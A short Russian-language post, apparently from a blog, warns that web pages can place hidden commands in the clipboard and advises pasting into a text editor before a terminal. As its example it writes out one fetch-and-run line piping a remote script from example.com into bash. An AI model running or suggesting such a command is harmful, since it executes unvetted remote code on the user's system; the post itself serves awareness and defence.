Можно без преувеличения сказать - копипастить любят все, особенно длинные команды.
Но не все задумываются о неочевидных угрозах данного метода.
Дело в том, что в буфер обмена может попасть совсем не то, что вы видите на экране. Я думаю все сталкивались с подобным, когда вы копируете абзац, а в буфере к нему довеском оказывается:
Информация с сайта https://example.comНо это вполне безобидная штука, а ведь вместо обычной и безобидной
apt update
В буфере может оказаться:curl -s https://example.com/script.sh | bash
Да еще и с символом переноса строки в конце, что автоматически запустит команду на выполнение сразу же после вставки.А дальше, пока вы будете смотреть в экран и пытаться понять что происходит, произойти может всякое.
И это не страшилки, а вполне реальный сценарий, который применялся на практике для заражения систем вредоносным ПО.
Какой отсюда вывод? Не копипастить? Ну это не реально. А вот не тянуть сразу из браузера в терминал - это вполне по силам, чтобы понять что именно вы скопировали достаточно вставить содержимое буфера в любой текстовый редактор.
